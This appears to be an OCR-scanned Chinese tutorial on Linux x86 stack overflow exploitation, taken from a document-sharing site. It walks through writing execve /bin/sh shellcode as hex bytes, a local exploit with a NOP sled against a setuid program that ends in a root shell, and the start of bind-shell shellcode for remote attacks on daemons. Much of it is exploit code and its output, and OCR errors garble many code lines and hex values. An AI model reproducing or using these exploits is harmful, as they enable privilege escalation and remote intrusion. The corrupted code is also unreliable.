堆栈溢出技术从入门到精通_第1页
堆栈溢出技术从入门到精通_第2页
堆栈溢出技术从入门到精通_第3页
堆栈溢出技术从入门到精通_第4页
堆栈溢出技术从入门到精通_第5页
已阅读5页,还剩70页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

堆栈溢出技术从入门到精通

本讲的预备知识:

一方面你应当了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分派方

的基础知识,有关这方面的计算机书籍很多,我将只是简朴阐述原理,着重在应用。另一方

面,

你应当了解linux,本讲中我们的例子将在linux上开发。

1:一方面复:习一下基础知识。

从物理上讲,堆栈是就是一段连续分派的内存空间。在一个程序中,会声明各种变量。静态

全局变量是位于数据段并且在程序开始运营的时候被加载。而程序的动态的局部变量则分派

在堆栈里面。

从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我

们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP—4,出栈

操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。

请牢牢记住这一点,由于这是堆栈溢出的基本理论依据建

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBPa假如函数有局部变量,

接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被

丢失。但是不被清除。在函数返问的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返

地址到EIP以继续执行程序。

在C语言程序中,参数的压栈顺序是反向的。比如func(abc)。在参数入栈的时候,是:

先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取

Co

(PS:假如你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都

会具体的讨论堆栈,必须弄懂它,你才干进行下面的学习)

2:好了,继续,让我们来看一看什么是堆栈溢出。

2.1:运营时的堆栈分派

堆栈溢出就是不顾堆栈中分派的局部数据块大小,向该数据块写入了过多的数据,导致数据

越界。结果覆盖了老的堆栈数据。

比如有下面一段程序:

程序一:

#includc<stdio.h>

intmain()

(

charname[8];

printf("Pleasetypeyourname:");

gets(name);

printf("Hello,%s!",name);

return0;

编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运营中,堆栈是怎么操作的呢?

在main函数开始运营的时候,堆栈里面将被依次放入返回地址,EBP。

我们用gcc-S来获得汇编语言输出,可以看到main函数的开头部分相应如下语句:

pushl%ebp

movl%esp,%cbp

subl$8,%esp

一方面他把EBP保存卜.来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数

局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放namen数组。现在堆栈

的布局如下:

内存底部内存顶部

nameEBPret

<-——[][][]

A&name

栈顶部堆栈底部

执行完gets(name)之后,堆栈如下:

内存底部内存顶部

nameEBPret

<——|ipxodi\0][J[]

(gets,strcpy等等)没有对数组越界加以监视和限制,我们运用字符数组写

越界,覆盖堆栈中的老元素的值,就可以修改返回地址。

在上面的例子中,这导致CPU去访问一个不存在的指令,结果犯错。

事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。

假如我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我

们的指令。

在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆

栈溢出的程序相同的权限,假如这个程序是setuid的,那么我们就可以获得

rootshello

下一讲将叙述如何书写一个shellcode。

如何书写一个shellcode

一:shellcode基本算法分析

在程序中,执行一个shell的程序是这样写的:

shellcode.c

#include<stdio.h>

voidmain(){

char*name⑵;

name[0]="/bin/sh"

iiainc[l]=NULL;

execve(name[O],name,NULL);

execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为

该程序的argv[i](argv[n-l]=O)的指针数组作为第二个参数,以及(char*)0作为

第三个参数。

我们来看以看execve的汇编代码:

|nkl1OJ$Contcnt$nbsp;gcc-oshcllcodc-staticshcllcodc.c

[nkll0]$Content$nbsp;gdbshellcode

(gdb)disassemble_execve

Dumpofassemblercodeforfunction_execve:

Ox8OOO2bc<_cxccvc>:pushl%cbp;

Ox8OOO2bd<_execve+l>:movl%esp,%ebp

;上面是函数头。

0x80002bf<_execve+3>:pushl%ebx

;保存ebx

0x80002c0<_execve+4>:movl$Oxb,%eax

:eax=Oxb,eax指明第几号系统调用。

Ox8OOO2c5<_execve+9>:movlOx8(%ebp),%ebx

;ebp+8是第一个参数Vbin/sh\O"

Ox8OOO2c8<_cxccvc+12>:movlOxc(%cbp),%ccx

;cbpi12是第二个参数name数组的地址

Ox8OOO2cb<_execve+15>:movlOxlO(%ebp),%edx

;ebp+16是第三个参数空指针的地址。

;name[2-l]内容为NULL,用来存放返回值。

Ox8OOO2ce<_execve+18>:int$0x80

;执行Oxb号系统调用(exeeve)

Ox8(X)O2dO<_execve+20>:movl%eax,%edx

;下面是返回值的解决就没有用了。

0x80002(12<_execve+22>:testl%edx,%edx

0x80002d4<_execve+24>:jnl0x80002e6<_execve+42>

0x8(X)02d6<_execve+26>:negl%edx

0x8C)002d8<_execve+28>:pushl%edx

0x80002d9<_execve+29>:call0x8001a34

<_normal_ermo_loca(ion>

0x8(X)02de<_execve+34>:pop1%edx

Ox8OOO2df<_execve+35>:movl%edx,(%eax)

Ox8OOO2el<_execve+37>:movl$Oxffffffff.%eax

0x80002e6<_execve+42>:popl%ebx

0x8(X)02c7<_cxccvc+43>:movl%cbp,%csp

0x80002e9<_execve+45>:popl%ebp

0x80002ea<_execve+46>:ret

0x80()02eb<_execve+47>:nop

Endofassemblerdump.

通过以上的分析,可以得到如下的精简指令算法:

movl$cxccve的系统调用号,%eax

movl"bin/sh\0"的地址,%ebx

movlname数组的地址,%ecx

movlname[n-l]的地址,%edx

int$0x80;执行系统调用(execve)

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。

可是,假如我们的execve执行失败,(比如没有/bin/sh这个文献),CPU就会继续

执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调

用,结束shellcode.c的执行。

我们来看以看exit(O)的汇编代码:

(gdb)disassemble_exit

Dumpofassemblercodeforfunction_cxit:

0x800034c<_exit>:pushl%ebp

0x800034d<_exil+l>:movl%esp,%ebp

0x800034f<_exit+3>:pushl%ebx

0x8000350<_cxit+4>:movl$0xl,%cax;1号系统调用

0x8000355<_exit+9>:movl0x8(%ebp),%ebx;ebx为参数0

0x8000358<_exit+12>:intS0x80;引发系统调用

Ox8OOO35a<_exil+!4>:movlOxfffffffc(%ebp),%ebx

Ox8(M)035d<_exit+l7>:mcvl%ebp,%esp

Ox8OOO35f<_exit+19>:popl%ebp

0x8000360<_cxit120>:ret

0x8(X)0361<_exil+21>:nop

0x8(X)0362<_exit+22>:nop

0x8000363<_exit+23>:nop

Endofassemblerdump.

看来exit(O))的汇编代码更加简朴:

movl$0x1,%eax;1号系统调用

movl0,%ebx;ebx为exit的参数0

int$0x8();引发系统调用

那么总结一下,合成的汇编代码为:

movl$execve的系统调用号,%eax

movl"bin/sh\O”的地址,%cbx

movlname数组的地址,%ecx

movlname[n-l]的地址,%edx

int$0x80;执行系统调用(exeeve)

movl$0x1,%eax;1号系统调用

movl0,%ebx;ebx为exit的参数0

int$0x80;执行系统调用(exit)

二:实现一个shellcode

好,我们来实现这个算法,一方面我们必须有一个字符串“/bin/sh”,还得有一个name

数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次

程序都是动态加载,字符串和name数组的地址都不是固定的。

通过JMP和call的结合,黑客们巧妙的解决了这个问题。

jmpcall的偏移地址#2bytes

popl%esi#1byte//popl出来的是string的地址。

movl%csi,array-offsct(%csi)#3bytes〃在string+8处构造name数组,

〃name[0]放string的地址

movb$OxO,nullbyteoffset(%esi)#4bytes//slring+7处放0作为string的结

尾。

movl$OxO,null-offset(%esi)#7bytes"name⑴放0。

movl$0xb,%eax#5bytes//eax=0xb是execve的syscall代码

o

movl%esi,%ebx#2bytes〃ebx=string的地址

lealarray-offset,(%esi),%ecx#3bytes//ecx=name数组的开始地址

lealnull-offset(%esi),%edx#3bytes//edx=name(1]的地址

int$0x80#2bytes//int0x80是syscall

movl$0x1,%eax#5bytes//eax=Ox1是exit的syscall代码

movl$0x0,%ebx#5bytes//ebx=O是exit的返I可值

int$0x80#2bytes//int0x80是syscall

callpopl的偏移地址#5bytes〃这里放call,string的地址就会

〃为返回地址压栈。

/bin/sh字符串

一方面使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为

call的返回地址压入堆栈。现在来到poplesi,把刚刚压入栈中的字符串地址取出来,

就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面

8个字节,构造name数组(两个整数,八个字节)。

我们可以写shellcode了。先写出汇编源程序。

shellcodeasm.c

voidmain(){

_asm_(u

jmp0x2a#3bytes

popl%esi#1byte

movl%esi.0x8(%esi)#3bytes

movb$0x0,0x7(%esi)#4bytes

movl$OxO,Oxc(%esi)#7bytes

movl$Oxb.%eax#5bytes

movl%esi,%cbx#2bytes

leal0x8(%csi),%ccx#3bytes

lealOxc(%esi),%edx#3by:es

int$0x80#2bytes

movl$0x1,%eax#5bytes

movl$0x0,%ebx#5bytes

int$0x80#2bytes

call-0x2f#5bytes

.stringV'/bin/sh\"#8bytes

");

编译后,用gdb的b/bx(地址)命令可以得到十六进制的表达。

下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)

test.c

charshellcode]]=

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\xOI\xOO\xOO\xOO\xbb\xOO\xOO\xOO\xOO\xcd\x8O\xe8\xdl\xff\xff

”\xff\x2Ax62\x69\x6e\x2nx73\x68\xOO\x89\xec\x5d\xc3”

voidrnain(){

int*ret:

ret=(int*)&ret+2;//ret等于main()的返回地址

〃(+2是由于:有pushlebp,否则加1就可以了。)

(*rct)=(int)shcllcodc;〃修改main()的返回地址为shellcode的开始地

址。

[nki10J$Content$nbsp;gcc-otesttest.c

[nkll0]$Content$nbsp;./test

SContent$nbsp;exit

[nkl10]$Content$nbsp;

我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址

ret设立成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,

从而我们得到了一个shell。

运营结果,得到了bsh的提醒符$表白成功的开了一个shelU

这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为

一段代码。是由于在操作系统中,程序代码段的内容是具有只读属性的。不能修改。

而我们的代码中movl%函,0x8(%esi)等语句都修改了代码的一部分,所以不能放在

代码段。

这个shellcodc可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关

键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在解决字符串的时候,

以“\0"

为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,

对于gets(name)来说,上面的shellcode是不可行的。我们的shellcodc是不能有\0字符

出现的。

因此,有些指令需要修改一下:

旧的指令新的指令

movb$0x0,0x7(%esi)xorl%eax,%eax

molv$0x0,0xc(%esi)movb%cax,0x7(%csi)

movl%eax.Oxc(%esi)

movl$0xb,%eaxmovb$0xb,%al

movl$0x1,%eaxxorl%ebx,%ebx

movl$0x0,%cbxmovl%cbx,%cax

inc%cax

最后的shellcode为:

charshcllcode[]=

00"\xeb\xlf/*jmpOxlf*/

02"\x5e"/*popl%esi*/

()3"\x89\x76\x08"/*movl%esi,0x8(%csi)*/

06"\x31\xc0"/*xorl%eax,%eax*/

08"\x88\x46\x07"/*movb%eax,0x7(%esi)*/

0b"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/

0c"\xbO\xOb"/*movb$Oxb,%al*/

10"\x89\xf3,t/*movl%esi.%ebx*/

12"\x8d\x4e\x08"/*leal0>8(%esi),%ecx*/

15"\x8d\x56\x0c"/*lealOxc(%esi),%edx*/

18"\xcd\x80"/*int$0x80*/

la"\x31\xdb"/*xorl%cbx.%cbx*/

1c,,\x89\xd8"/*movl%ebx,%eax*/

Ie"\x40"/*inc%eax*/

lf"\xcd\x80"/*ini$0x80*/

21"\xe8\xdc\xff\xft\xff'/*call-0x24*/

26"/bin/sh"/♦.string\"/bin/sh\"*/

三:运用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,

我们把两者结合起来,就写出一个运用堆栈溢出获得shell的程序.

overflowl.c

charshellcode[]=

"\xeb\x11\x5e\x89\x76\x08\x3I\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"

charlarge_string[128];

voidmain(){

charbuffer[961;

inti;

long*long_ptr=(long*)large_string;

for(i=0;i<32;i++)

*(long_ptr+i)=(int)buffer;

for(i=0;i<slrlcii(shcllcudc);i十十)

large_string[i]=shellcode[i];

strcpy(bufferJarge_string);

在执行完strcpy后,堆栈内容如下所示:

内存底部内存顶部

bufferEBPret

<——[SSS...SSSA][A][A]A..A

A&buffer

栈顶部堆栈底部

注:S表达shellcodeo

A表达shellcode的地址。

这样,在执行完strcpy后.overflow。c将从ret取出A作为返回地址,从而执行了我们

的shellcodeo

运用堆栈溢出获得shell

现在让我们进入最刺激的一讲,运用别人的程序的堆栈溢出获得rootsheL我们

将面对

一个有strepy堆栈溢出漏洞的程序,运用前面说过的方法来得到shello

回想一下前面所讲,我们通过一个shcllcodc数组来存放shcllcodc,运用程序中的

strepy

函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的

开始地

址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的

shellcode,从而我们得到了一个shell。

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件

事:

I:把我们的shellcode提供应他,让他可以访问shellcode..

2:修改他的返回地址为sheHcode的入口地址。

为了做到这两条,我们必须知道他的strepy(huffer,ourshcilcode)中,buffer

的地址。

由于当我们把shellcode提供应strepy之后,buffer的开始地址就是shellcode的开

始地址

,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是

相同的

。我们可以写一个程序,获得运营时的堆栈起始地址,这样,我们就知道了目的程

序堆栈

的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax

寄存器

里面):

unsignedlongget_sp(void){

_asm_("movl%esp,%eax");

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

写出来的程序决定的,我们不知道,只能靠猜测了。但是,一般的程序堆栈大约是

几K

左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。

前面我们用来覆盖堆栈的溢出字符串为:

SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

现在,为了提高命中率,我们对他进行如下改善:

用来溢出的字符串变为:

NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA

其中:

N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,

NOP指令的机器码为0x90o

S为shellcode»

A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到

S.

这个改善大大提高了猜测的命中率,有时几乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是运用./vulnerablel的堆栈溢出漏洞来得到

shell的程序:

exploitl.c

#include<stdio.h>

#include<stdlib.h>

#defineOFFSET0

#dcfineRET_POSITION1024

#defineRANGE20

#defineNOP0x90

charshellcode[]=

"\xeb\x1f/*jmpOx1f*/

"\x5e"/*popl%esi*/

”\x89\x76\x08”/*movl%esi,0x8(%esi)*/

"\x31\xc0"/*xorl%eax,%cax*/

"\x88\x46\x07"/*movb%eax.0x7(%esi)*/

"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/

"\xhO\xOh"/*movb$0xb,%a1♦/

"\x89\xf3"/*movl%esi,%ebx*/

"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/

"\x8d\x56\x0c"/*lealOxc(%esi),%edx*/

"\xcd\x80"/*intSOxSO*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xd8"/*movl%ebx,%eax*/

"\x40"/*inc%eax*/

"\xcd\x80"/*intS0x80*/

"\xe8\xdc\xfi\xff\xff/*call-0x24*/

7bin/sh"/*.string\"/bin/sh\"*/

unsignedlongget_sp(void)

_asm_("movl%esp,%eax");

main(intargc,char**argv)

charbuft!RET_POSITION+RANGE+l],*ptr;

longaddr;

unsignedlongsp;

intoffset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+l;

inti;

if(argc>1)

offset=atoi(argv[I]);

sp=get_sp();

addr=sp-offset;

for(i=0;i<bsize;i+=4)

♦((long*)&(buff[iJ))=addr;

fbr(i=0;i<bsize-RANGE*2-strlen(shellcode)-l;i++)

buff!iJ=NOP;

ptr=buff+bsize-RANGE*2->trlen(shellcode)-l;

for(i=0;i<strlcn(shellcodc);i++)

*(ptr++)=shellcode[i];

buffIbsize-l]=n\O"

〃现在buff的内容为

//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\O

piintf("Junipto0x%08x\n",addr);

cxculC./vuiiicrablcl";'vulnerablerebuff,0);

execl用来执行目的程序./vulnerable],buff是我们精心制作的溢出字符串,

作为./vulnerable1的参数提供。

以下是执行的结果:

[nkl10]$Content$nbsp;ls-Ivulnerable1

-rwsr-xr-x1rootrootxxxxjan1016:19vulnerableI*

|nkll()]$Contcnt$nbsp;ls-1exploitI

-rwxr-xr-x1ipxodicinipxxxxOct1813:20exploit1*

[nkl10]$Content$nbsp;./exploit1

Jumpto0xbfffec64

Segmentationfault

[nkllO]$Content$nbsp:./exploitl500

Jumpto0xbfffea70

bash#whoami

root

bash#

恭喜,恭喜,你获得了rootshello

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的

shellcode»

远程堆栈溢出

我们用堆栈溢出袭击守护进程daemon时,原理和前面提到过的本地袭击是相同的。

我们

必须提供应目的daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制

(或者

别的串解决操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的袭击

者来说

,由于我们不在本地,这个sh我们并没有得到。

因此,对于远程使用者,我们传过去的shellcode就必须承担起打开一个socket,

然后

listen我们的连接,给我们一个远程shell的责任。

如何开一个远程shell呢?我们先申请一个sockctfd,使用30464(随便,多少都行

)作为

这个sockel连接的端口,bind他,然后在这个端口上等待连接lislen。当有连接进

来后,

开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderro这样,

我们

远程的使用者就有了一个远程shell(跟telnet同样啦)。

下面就是这个算法的C实现:

opensocket.c

l#includc<unistd.h>

2#include<sys/socket.h>

3#include<netinet/in.h>

4intsoc,cli,soc_len;

5structsockaddr_inserv_addr;

6structsockaddr_incli_addr;

7intmain()

9if(fbrk()==O)

10{

1iserv_addr.sin_famiIy=AF_INET;

12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

13scrv_addr.sin_port=htons(30464);

14soc=sockct(AF_INET,SOCK_STREAM,IPPROTO_TCP);

15bind(soc,(structsockaddr*)&serv_addr,

sizeof(serv_addr));

16listen(soc,l);

17soc_len=sizeof(cli_addr);

18cli=accept(soc,(structsockaddr*)&cli_addr.

&soc_len);

19dup2(cli,0);

20dup2(cli,l);

21dup2(cli,2);

22execl("/bin/sh","sh,,,O);

23)

24)

第9行的fork。函数创建了一个子进程,对于父进程fork。的返回值是子进程的

pid,

对于子进程,fork。的返叵值是0.本程序中,父进程执行了一个fork就退出了,子

进程

作为socket通信的执行者继续下面的操作。

10到23行都是子进程所作的事情。一方面调用socket获得一个文献描述符soc,然后

调用

bind。绑定30464端口,接下来开始监听lislen。.程序挂起在accept等待客户连接

O

当有客户连接时,程序被唤醒,进行accepl,然后把自己的标准输入,标准输出,

标准错误输出重定向到客户的文献描述符上,开一个子sh,这样,子shell继承了

这个进程的文献描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简朴的socket程序,很好理解的。好,我们使用

gdb来反编译上面的程序:

[nkl10]$Content$nbsp;gcc-oopensocket-staticopensocket.c

[nkll()J$Content$nbsp;gdbopensocket

GNUgdb4.17

Copyright1998FreeSoftwareFoundation,Inc.

GDBisfreesoftware,coveredby(heGNUGeneralPublicLicense,andyou

are

welcometochangeitand/ordistributecopiesofitundercertain

conditions.

Type"showcopying"toseetheconditions.

ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fbr

details.

ThisGDBwasconfiguredas"i386-rcdhat-linux"...

(gdb)disassemblefork

Dumpofassemblercodeforfunctionfork:

0x8()4ca90<fork>:movl$0x2,%eax

0x804ca95<fork+5>:int$0x80

0x804ca97<fork+7>:cnipl$0xfffff001,%eax

0x804ca9c<fork+12>:jae0x804cdc0<_syscall_error>

0x8()4caa2<fork+18>:ret

0x804caa3<fork+19>:nop

0x804caa4<fork+20>:nop

0x804caa5<fork+2l>:nop

0x804caa6<fork+22>:nop

0x804caa7<fork+23>:nop

0x804caa8<fork+24>:nop

0x804caa9<fork+25>:nop

0x8()4caaa<fork+26>:nop

0x804caab<fork+27>:nop

0x804caac<fork+28>:nop

0x804caad<fork+29>:nop

0x8()4caac<fork+3()>:nop

0x804caaf<fork+31>:nop

Endofassemblerdump.

(gdb)disassemblesocket

Dumpofassemblercodeforfunctionsocket:

0x804cda0<sockct>:movl%cbx,%cdx

0x804cda2<socket+2>:movlS0x66,%eax

0x8()4cda7<socket+7>:movl$0xI,%ebx

0x804cdac<socket+12>:leal0x4(%esp,1),%ecx

0x804cdb0<socket+16>:int$0x80

0x804cdb2<socket+18>:movl%edx.%ebx

0x8()4cdb4<socket+2()>:cmpl$Oxffffff83,%eax

0x804cdb7<sockct+23>:jac0x804cdc0<_syscall_crror>

0x804cdbd<socket+29>:ret

0x804cdbe<socket+30>:nop

0x804cdbf<socket+31>:nop

Endofassemblerdump.

(gdb)disassemblebind

Dumpofassemblercodeforfunctionbind:

0x8()4cd60<bind>:movl%ebx,%edx

0x804cd62<bind+2>:movl$0x66,%eax

0x804cd67<bind+7>:movl$0x2,%ebx

0x804cd6c<bind+12>:leal0x4(%esp,l),%ecx

0x8()4cd70<bind+16>:int$0x80

0x804cd72<bind+18>:mov)%edx,%ebx

0x804cd74<bind+20>:cmpl$Oxffffff83,%eax

0x804cd77<bind+23>:jae0x804cdc0<_syscall_error>

0x804cd7d<bind+29>:ret

0x804cd7c<bind।3O>:nop

0x804cd7f<bind+31>:nop

Endofassemblerdump.

(gdb)disassemblelisten

Dumpofassemblercodeforfunctionlisten:

0x804cd80<lis(en>:movl%ebx,%edx

0x804cd82<listen+2>:movl$0x66,%eax

0x804cd87<listcn+7>:movl$0x4,%cbx

0x804cd8c<listen+12>:leal0x4(%esp,l),%ecx

0x804cd90<listen+16>:int$0x80

0x804cd92<listen+18>:movl%edx,%ebx

0x804cd94<listen+20>:cmpl$Oxffffff83,%eax

0x804cd97<listen+23>:jae0x804cdc0<_syscall_error>

0x804cd9d<listen+29>:ret

0x8()4cd9e<listen+30>:nop

0x804cd9f<listcn+31>:nop

Endofassemblerdump.

(gdb)disassembleaccept

Dumpofassemblercodeforfunction_accept:

0x804cd40<_accept>:movl%ebx,%edx

0x804cd42<_accepl+2>:movl$0x66,%eax

0x804cd47<_accep(+7>:movl$0x5,%ebx

0x804cd4c<_accept+12>:leal0x4(%esp,l),%ecx

0x804cd50<_accepti16>:int$0x80

0x804cd52<_accep(+18>:movl%edx,%ebx

Ox8(Mcd54<__accept+20>:cmpl$0xffffff83,%eax

0x804cd57<_accept+23>:jae0x804cdc0<_syscall_error>

0x804cd5d<_accept+29>:ret

0x804cd5e<_accept+30>:nop

0x804cd5f<_accept+31>:nop

Endofassemblerdump.

(gdb)disassembledup2

Dumpofassemblercodeforfunctiondup2:

0x804cbe0<dup2>:movl%ebx,%edx

0x804cbc2<dup2+2>:movl0x8(%esp,l),%ecx

0x804cbe6<dup2+6>:movl0x4(%esp,l),%ebx

0x804cbea<dup2+10>:movl$0x3f,%eax

0x8()4cbef<dup2+l5>:int$0x80

0x804cbfl<dup2+17>:movl%cdx,%ebx

0x804cbf3<dup2+19>:cmpl$0xfffff001,%eax

0x804cbf8<dup2+24>:jae0x804cdc0<_syscall_error>

0x804cbfe<dup2+30>:ret

0x804cbff<dup2+31>:nop

Endofassemblerdump.

现在可以写上面c代码的汇编语句了。

fork。的汇编代码

charcode[l=

"\x3l\xc0"/*xorl%eax,%eax*/

"\xb0\x02"/*movb$0x2,%al*/

"\xcd\x80"/*intS0x80*/

socket(2,1,6)的汇编代码

注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6

/*socket使用66号系统调用,1号子调用。*/

/*他使用一段内存块来传递参数2,1,6。*/

/*%ccx里面为这个内存块的地址指针.*/

charcode[l=

"\x31\xc0"/*xorl%eax,%eax*/

”\x31\xdb”/*xorl%ebx,%ebx*/

"\x89\xfl"/*movl%esi,%ecx*/

"\xb0\x02"/*movb$0x2,%al*/

"\x89\x06"/*movl%cax,(%esi)*/

/求第一个参数为

/*%esi指向一段未使用的内存空间*/

"\xbO\xOI"/*movbSOxl,%al*/

”\x89\x46\x04"/*movl%eax,0x4(%esi)*/

/*第二个参数*/

"\xbO\xO6"/*movb$0x6,%al*/

”\x89\x46\x08”/*movl%eax,()x8(%esi)*/

/*第三个参数.*/

"\xbO\x66"/*movb$0x66,%al*/

"\xb3\x01"/*movbSOxl,%bl*/

"\xcd\x80"/*intS0x80*/

bind(soc,(structsockaddr*)&serv_addr,OxlO)的汇编代码

/*bind使用66号系统调用,2号子调用。*/

/*他使用一段内存块来传递参数。*/

/,"%ecx里面为这个内存块的地址指针.*/

charcode[]=

"\x89\xfl"/*movl%esi,%ecx*/

"\x89\x06"/*movl%eax,(%esi)*/

/*%cax的内容为刚才socket调用的返回值,*/

/求就是soc文献描述符,作为第一个参数"/

"\xb0\x02"/*movb$0x2,%al*/

"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/

/*scrv_addr.sin_family=AF_NET(2)*/

/*2放在0xc(%esi).*/

"\xb0\x77"/*movb$0x77,%al*/

"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*/

/*端标语(0x7700=30464)放在Oxe(%esi)*/

"\x8d\x46\x0c"/*lealOxc(%esi),%eax*/

/*%eax=serv_addr的地址*/

”\x89\x46\x04"/*movl%eax,0x4(%esi)*/

/*第二个参数.刃

"\x31\xc0"/*xorl%eax,%eax*/

”\x89\x46\xl0"/*movl%eax,0x!0(%esi)*/

/*serv_addr.sin_addr.s_addr=()*/

"\xbO\xlO"/*movbS0xl0,%al*/

”\x89\x46\x08"/*movl%eax,0x8(%esi)*/

/*第三个参数.*/

"\xb0\x66"/*movb$0x66,%al*/

”\xb3\xO2”/*movb$0x2,%bl*/

"\xcd\x80"/*intS0x80*/

lislen(socj)的汇编代码

/*listen使用66号系统调用,4号子调用。*/

/*他使用一段内存块来传递参数.*/

/*%ccx里面为这个内存块的地址指针.*/

charcode[]=

"\x89\xfl"/*movl%esi,%ecx*/

"\x89\x()6"/*movl%cax,(%esi)*/

/*%cax的内容为刚才socket调用的返回值,*/

/*就是soc文献描述符,作为第一个参数*/

"\xb0\x0l"/*movbSOxl,%al*/

"\x89\x46\x04"/*movl%cax,0x4(%esi)*/

/*第二个参数.♦/

"\xb0\x66"/*movbS0x66,%aI*/

"\xb3\x04"/*movb$0x4,%bl*/

"\xcd\x80"/*intS0x80*/

accept(soc,0,0)的汇编代码

/*accept使用66号系统调用,5号子调用。*/

/*他使用一段内存块来传递参数。*/

/*%ecx里面为这个内存块的地址指针.*/

charcode[]=

"\x89\xfl"/*movl%esi,%ecx*/

"\x89\xfl"/*movl%eax,(%esi)*/

/*%cax的内容为刚才socket调用的返回值,*/

/*就是soc文献描述符,作为第一个参数*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x89\x46\xO4"/*movl%cax,0x4(%esi)*/

/*第二个参数.*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

/*第三个参数.*/

"\xb0\x66"/*movbS0x66,%al*/

"\xb3\x05"/*movb$0x5,%bl*/

"\xcd\x80"/*intS0x80*/

dup2(cli,0)的汇编代码

/*第一个参数为%ebx,第二个参数为%ecx*/

charcodclJ=

/*%cax里面是刚才accept调用的返回值,求/

/*客户的文献描述符cli.*/

"\x88\xc3"/*movb%al,%bl*/

"\xb0\x3f/*movb$0x3f,%al*/

"\x31\xc9"/*xorl%ecx,%ecx*/

"\xcd\x80"/*intSOx8O*/

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

newshellcode

charshellcode[]=

00"\x31\xc0"/*xorl%eax,%eax*/

02"\xbO\xO2"/*movb$0x2,%al*/

04"\xcd\x80"/*int$0x80O

06"\x85\xc0"/*(estl%eax.%eax*/

08,,\x75\x43"/*jne0x43*/

/*执行fork。,当fork()!=0的时候,表白是父进程,要终止*/

/*因此,跳到0x43+a=0x4d,再跳到后面,执行exit(O)*/

Oa,,\xeb\x43"/*jmp0x43*/

/*当fork()==0的时候,表白是子进程*/

/*因此,跳到0x43i0c=0x4f,再跳到后面,执行call-0xa5求/

0cH\x5e"/*popl%esi*/

Od"\x31\xc0"/*xorl%eax,%eax*/

0「”\x31\xdb”/*xorl%ebx,%ebx*/

